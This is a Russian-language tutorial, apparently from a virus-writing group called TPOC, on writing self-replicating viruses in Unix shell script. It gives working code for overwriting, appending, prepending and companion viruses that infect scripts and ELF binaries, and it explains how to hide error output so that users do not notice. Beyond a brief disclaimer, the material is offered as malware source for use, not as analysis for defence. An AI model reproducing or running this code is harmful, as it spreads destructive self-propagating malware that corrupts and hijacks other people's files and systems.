Вирусы на скриптовом языке для UnixАвтор: FreeMan / TPOC Содержание1. Введение.
2. Базовые знания.
2.1. Первый "вирус"
2.2. Проблема определения жертвы
2.3. Практика
3. Техники заражения.
3.1. Запись в конец жертвы.
3.2. Запись в начало жертвы.
3.3. Вирус-спутник.
4. Заключение.
1. ВведениеС самого начала нужно ответить на вопрос: а стОит ли писать вирусы на Shell?
Предлагаю рассмотреть все "за" и "против"
ЗА:
1) Shell скрипты очень распространённое явление в UNIX'e. На нём пишут все, кто хочет сократить время выполнения той или инной задачи.
2) Shell используется куда более интенсивнее, чем мастдайный ВАТ, на котором можно только файлы тягать по директориям и исходники компилировать (редко человек на нём может написать что-либо достойное - это про ребят с BATch zone).
3) Только, пожалуй, Shell скрипты можно переносить на любой вариант *nix'a без перекомпиляции.
4) Язык без проблем можно изучить
5) Спрос на UNIX возрастает. UNIX стает доступным для любого человека, а это значит, что далеко не каждый сможет найти наш вирус.
ПРОТИВ:
1) Любой программер, админ или юзер, который неплохо фигачит скрипты, может запросто изловить и прикончить наши старания.
2) Сложно однозначно определить скрипт.
3) Потеряете 2-3 дня, если не больше, на разбор темы.
4) Можно потерять данные и даже "убить" систему.
В конечном счёте вы сами должны решать и помнить, что Я НЕ НЕСУ ОТВЕТСТВЕННОСТИ ЗА ВАШИ ДЕЙСТВИЯ. ВЕСЬ МАТЕРИАЛ ПРЕДСТАВЛЕН ЧТОБ ПОКАЗАТЬ ПРИНЦИПЫ РАБОТЫ ДАННОГО ТИПА ВИРУСОВ.
2. Базовые знания2.1. Первый "вирус"Легче всего написать вирус, который будет тупо переписывать себя вместо файла, который находит. Такой вирус может написать даже ученик 4-го класса, которому папа покажет, что на компьютере есть возможность писать скрипты, а не только монстров пугать.
Самый простой вирус выглядит примерно следующим образом: ==================начало======fvir========
#!/bin/sh
for e in *; do cp $0 $e; done
==================конец=================== |
Как видите вирус можно написать в одну строчку (пример будет работать и без первой строки). Переменная е принимает в качестве значений имена файлов, которые содержатся в каталоге. Потом выполняется сложнейшая операция копирывания файла $0(всегда содержит имя запущенной проги) в файл $e (то есть в каждый файл).
Но я уже говорил, что всё в линуксе содержится в виде файлов, а значит, что наш вирус портит всё, что находит и к чему есть доступ: обычный текст, elf, скрипты, память... А ведь портить - это плохо. Но как распознать скрипт среди многообразия файлов?? 2.2. Проблема определения жертвы.Дело в том, что когда мы хочем в винде заразить все ВАТники, мы просто пишем "for a in *.bat". Но в UNIX'e всё иначе. Не все файлы скриптов используют расширение .sh. Поэтому нужно искать пути определения скриптов. Есть несколько методов, но ни один из них не может дать 100% результата.
1) Можно искать в начале файла строку #!/bin/sh (самый лучший способ)
2) Искать файлы, используя команду file, которая выводит описания файла, имя которого заданно параметром. А в описании искать слова "shell", "script", "Bourne"
Так как скрипты - исполняемые файлы, можно делать проверку типа [ -x $file ]. 2.3. ПрактикаТеперь усовершенствуем наш вирус: добавим определение файлов скрипта среди остальных файлов. ==============начало======ifshvir
#!/bin/sh
for e in *
do if [ "`head -1 $e`" = '#!/bin/sh' -a -x $e ]
then cp $0 $e
fi done
==============конец============== |
Первая строка определяет интерпретатор, который должен обрабатывать скрипт. Вторая строка - начало цикла. 3-я строка содержит проверку. head -1 $e возвращает первую строку файла. Следует обратить внимание на то, что head -1 $e заключено в знаки ударения. Это сделанно для того, чтоб в проверке участвовала не команда, а результаты её выполнения. Первая строка в скриптовом файле (не в каждом, но в основном) содержит "#!/bin/sh", что и проверяется ("`head -1 $e`" = '#!/bin/sh') оператор -а - "логическое и" "-х $e" выполняется, если файл выполняемый. Если оба выражения правдивы, то есть файл выполняемый и первая строка "#!/bin/sh", то выполняется копирывание.
Вирус можно сделать и меньше. ============начало======ifshvir1
#!/bin/sh
for e in *
do [ "`head -1 $e`" = "#!/bin/sh" -a -x $e ] && cp $0 $e
done
============конец=============== |
Этот вирус работает точно также.
Если вы нашли в себе смелость и запустили хотя бы один из этих скриптов, то могли заметить, что он выдаёт сообщение о том, что не может сам себя копирывать в самого себя. Это с потрохами выдаёт вирус, который должен выполнять своё дело не засоряя вывод и не отвлекая польозователя от его нелёгкой работы... Вспоминаем про перенаправление вывода. Именно этот лом поможет нам убрать "мусор".
Но что и куда перенаправлять?? Перенаправлять будем ошибки с файловым дескриптором 2. В Юнихе есть очень мощный файл /dev/null - идеальный объект заражения, но мы будем складировать туда тонны сообщений об ошибках. ===========начало===devnull==
#!/bin/sh
for e in *
do [ "`head -1 $e`" = "#!/bin/sh" -a -x $e ] && cp $0 $e 2>/dev/null
done
===========конец============== |
Как вы видите, мы просто перенаправили вывод ошибок в файл /dev/null 3. Техники заражения.Мы рассмотрели самую простую технику заражения - переписывание себя на место жертвы.
Сейчас рассмотрим техники добавления вируса в конец, в начало жертвы, а также создание вируса-спутника. 3.1. Запись в конец жертвы.Это самый простой способ записать вирус и не испортить жертву. Вспомним перенаправление вывода.
Если написать
echo hello > aaa
то будет создан файл ааа, который будет содержать строку hello. Если такой файл существует, то он будет перезаписан.
Если же написать
echo hello >> aaa
то строка hello будет добавлена в конец файла.
Для того, чтоб не заражать жертву несколько раз, будем в конце ставить метку заражения.
Это было короткое вступление. Теперь сам код. =========начало============endvir
#!/bin/sh
for e in *
do [ "`head -1 $e 2>/dev/null`" = "#!/bin/sh" -a -x $e -a "`tail -1 $e 2>/dev/null`" != "#freeman" ] && tail -4 $0 >> $e 2>/dev/null
done
#freeman
=========конец=================== |
Это знакомый вам вирус, который мы немного переделали. Во-первых, ко всем командам было прицеплено перенаправление ошибок в /dev/null. Представляете, какой размер этого файла будет, когда туда закинем пару тысяч ошибок? :)
Добавлена проверка на зараженность "`tail -1 $e 2>/dev/null`" != "#freeman". tail -1 $e означает, что нужно взять последнюю строку из файла $e. Эта строка будет "#freeman", если файл заражен.
Также изменена операция заражения.
tail -4 $0 >> $e 2>/dev/null
Команда tail -4 $0 выводит 4 последние строчки файла (наш вирус занимает 4 строчки, если не считать "#!/bin/sh", но мы его не трогаем) и вывод перенаправляет в файл-жертву. Ошибки кидаем в /dev/null.
Этот метод, как и все остальные, имеет свои недостатки. Он запросто может не получить управление. Например, если в жертве есть команда выхода "exit". 3.2. Запись в начало жертвы.Этот метод немного сложней, но вирус в любом случае получит управление.
Теперь посмотрите код, он не сильно сложный. ========начало====previr=======
#!/bin/sh
for e in *
do [ "`head -1 $e 2>/dev/null`" = '#!/bin/sh' -a -x $e ] && { head -4 $0 > .f; echo >> .f; cat $e | sed -e "1d" >> .f; chmod +x .f; mv .f $e; } 2>/dev/null
done
========конец================== |
Не пугайтесь. Всё на самом деле легко. Вспомните прошлый вирус... На этот раз нет проверки на зараженность. вы можете и сами её сделать. Для этого просто добавьте метку и проверяйте её.
Единственное, что могло испугать вас - это 3-я строчка после знака &&.
{ head -4 $0 > .f; echo >> .f; cat $e | sed -e "1d" >> .f; chmod +x .f; mv .f $e; } 2>/dev/null
Эта конструкция экономит кучу места (вы заметили, что вирус - часть, которую переносим - занимает 4 строчки). Разберёмся. В shell есть возможность объеденять команды в блоки. Для этого следует поместить команды в фигурные скобки и поставить после каждой команды ";". Блок в этом случае воспринимается как одна команда. Поэтому мы можем перенаправить весь вывод ошибок со всех команд в блоке, написав после блока "2>/dev/null". Это экономичнее, чем перенаправление вывода каждой команды по отдельности.
Теперь рассмотрим команды, которые входят в блок. Берёт первые 4 строчки файла (тело вируса) и кидает их во временный файл .f. Добавляет перевод строки в файл. Иначе конец вируса сольётся с началом жертвы. | cat $e | sed -e "1d" >> .f; |
Выводится жертва (cat $e) и по конвееру вывод передаётся команде "sed", которая обрезает первую строку жертвы (#!/bin/sh). Жертва без первой строки "приклеивается" к вирусу. Фактически жертва увеличивается на 3 строки. Так как временный файл был создан как обычный файл, то надо сделать его исполняемым. Иначе он не запустится. Временный файл подставляется вместо жертвы.
Как видите, этот способ, также как и предыдущий, не очень сложный. 3.3. Вирус-спутник.Данный метод заключается в том, что мы вместо жертвы подставляем вирус, а жертву переименовываем. В теле вируса мы просто запускаем жертву.
Так как вирус не трогает жертву (не пишет в неё), мы можем позволить себе позволить заразить всё, что движется (является выполняемым). Но лучше ограничимся ELF'ами. ============начало====sput
#!/bin/sh
for e in *
do [ -x $e -a "`head -c4 $e 2>/dev/null`" = "ELF" ] && { cp -a $e .$e; cp -a $0 $e; } 2>/dev/null
done
./.`echo $0 | sed -e "s|[^/]*/||g"`
============конец========= |
Тут тоже ничего особенного. Мы ищем ELF's. После этого делаем пару операций копирования. Единственная сложность - возврат управления носителю. Это делает последняя строка. Выражение echo $0 | sed -e "s|[^/]*/||g" выводит имя файла без пути.
В результате получается ./.имя, что запускает носитель. 4. ЗаключениеКак вы видите, shell скрипты - мощный инструмент в умелых руках, а скриптовые вирусы не так страшны.
В следующей части мы рассмотрим методы эффективного поиска жертв, а также продвинутые техники заражения.
[C] FreeMan / TPOC | Новые события из жизни нашей лаборатории Статьи и переводы лаборатории TPOC Программы лаборатории TPOC Здесь мы сообщаем Вам, какие творения скоро появятся Ссылки на сайты, где можно найти больше информации История нашей лаборатории и ее члены |
